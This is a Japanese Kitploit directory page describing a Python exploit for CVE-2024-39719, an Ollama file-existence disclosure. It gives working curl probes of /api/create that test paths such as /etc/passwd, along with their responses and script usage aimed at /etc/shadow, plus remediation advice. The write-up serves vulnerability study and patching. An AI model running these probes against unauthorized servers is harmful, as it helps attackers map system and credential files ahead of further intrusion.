Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-39719 — Pythonエクスプロイトスクリプト(CVE-2024-39719向け)。Ollamaにおけるファイル存在開示の脆弱性です。APIエンドポイントをテストしてサーバーのファイルパスを検出し、脆弱性分析やペネトレーションテストに役立ちます。 | Kitploit
ツール/GitHubGitHub/srcx404/cve-2024-39719
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト学習と教育
GitHubsrcx404/cve-2024-39719

CVE-2024-39719

Pythonエクスプロイトスクリプト(CVE-2024-39719向け)。Ollamaにおけるファイル存在開示の脆弱性です。APIエンドポイントをテストしてサーバーのファイルパスを検出し、脆弱性分析やペネトレーションテストに役立ちます。

リポジトリを見る
1年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Ollamaファイル存在開示の脆弱性(CVE-2024-39719)分析

中文

脆弱性概要

CVE-2024-39719 は、Ollama バージョン 0.3.14 以前に影響するファイル存在開示の脆弱性です。この脆弱性により、攻撃者は API エンドポイントを通じてサーバ上の特定のファイルの存在を検出でき、情報漏洩につながる可能性があります。

公開日: 2024年10月31日

脆弱性の詳細

根本原因

この脆弱性は Ollama の /api/create エンドポイントに存在します。攻撃者が CreateModel API をパスパラメータ付きで呼び出すと、サーバはパスが存在するかどうかによって異なるエラーメッセージを返します。この動作により、攻撃者はエラーメッセージを分析して、サーバ上に特定のファイルやディレクトリが存在するかどうかを判断できます。

核心的な問題は、ユーザー入力を処理する際に、システムがパスの存在情報を適切に隠蔽せずに、ファイルシステムのエラーをそのままクライアントに公開していることです。

影響を受けるバージョン

この脆弱性は Ollama バージョン 0.3.14 以前のすべてのバージョンに影響します。

影響

ファイル存在開示の脆弱性は一見すると軽微に見えるかもしれませんが、以下のような影響があります。

  1. より複雑な攻撃の予備段階として、攻撃者がサーバ情報を収集するのに役立つ
  2. 重要な設定ファイル、証明書、機密データファイルの存在を検出するために使用される
  3. 攻撃者がより標的を絞った攻撃を実施するのを助ける
  4. 特定の環境では情報漏洩につながり、特定のユーザーやシステム特性の存在を確認できる

脆弱性の再現

環境構築

  1. 以下の Docker Compose ファイルを使用して、脆弱性のある Ollama 環境を作成します。
root@kitploit:~
services:
  ollama:
    image: ollama/ollama:0.3.14
    container_name: ollama
    volumes:
      - ollama:/root/.ollama
    ports:
      - "11434:11434"

volumes:
  ollama:
  1. サービスを起動します。
root@kitploit:~
docker compose up -d
  1. サービス起動後、http://your-ip:11434/ にアクセスして Ollama 0.3.14 が動作していることを確認できます。

再現手順

1. 存在しないファイルのテスト

curl を使用して存在しないファイルにアクセスを試みます。

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'

レスポンス:

root@kitploit:~
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}

2. 存在するファイルのテスト

/etc/passwd など存在するファイルをテストします。

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'

レスポンス:

root@kitploit:~
{"error":"no FROM line for the model was specified"}

これらの異なるエラーメッセージを分析することで、攻撃者は対象のパスが存在するかどうかを判断し、サーバのファイル構造に関する情報を得ることができます。 なお、サーバから返される情報はバージョンによって異なる場合があります。

脆弱性の修正

公式修正

Ollama は新しいバージョンでこの脆弱性を修正しています。修正内容には以下が含まれます。

  1. ファイル存在情報を漏洩しないようにエラーハンドリングを標準化
  2. ユーザーから提供されたパスに対するより厳格な検証とフィルタリングを実装
  3. ファイルシステム情報を直接公開しない、より一般的なエラーメッセージを使用

推奨される修正手順

  1. Ollama のアップグレード: 最も効果的な解決策は、最新バージョンの Ollama にアップグレードすることです。
  2. アクセス制御: API エンドポイントへのアクセスを制限し、許可されたユーザーのみが利用できるようにします。
  3. ネットワーク分離: 可能な限り、Ollama サービスを隔離されたネットワークにデプロイし、外部アクセスを減らします。
  4. 監視: API コールの監視を強化し、特に /api/create エンドポイントへの異常なアクセスパターンを重点的に監視します。

エクスプロイトスクリプトの使用方法

提供された Python スクリプトを使用すると、Ollama サーバが CVE-2024-39719 に対して脆弱かどうかをテストできます。

必要条件

  • Python 3.x
  • 必須パッケージ: requests, termcolor

インストール

root@kitploit:~
pip install requests termcolor

使用方法

root@kitploit:~
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]

オプション

  • -u, --url: Ollama サーバの URL(必須)
  • -f, --file: 存在を確認するファイル(デフォルトは "/etc/passwd")

例

root@kitploit:~
# サーバが脆弱かどうかを確認
python CVE_2024_39719.py -u http://your-ip:11434

# 特定のファイルが存在するかどうかを確認
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow

参考情報

  • National Vulnerability Database の CVE-2024-39719
  • Ollama GitHub リポジトリ
  • Ollama セキュリティアドバイザリ

免責事項

このスクリプトは教育目的および正当なセキュリティテストのために提供されています。システムの脆弱性をテストする前に、必ず適切な許可を得てください。許可のないテストは法律や規制に違反する可能性があります。

ツールをダウンロード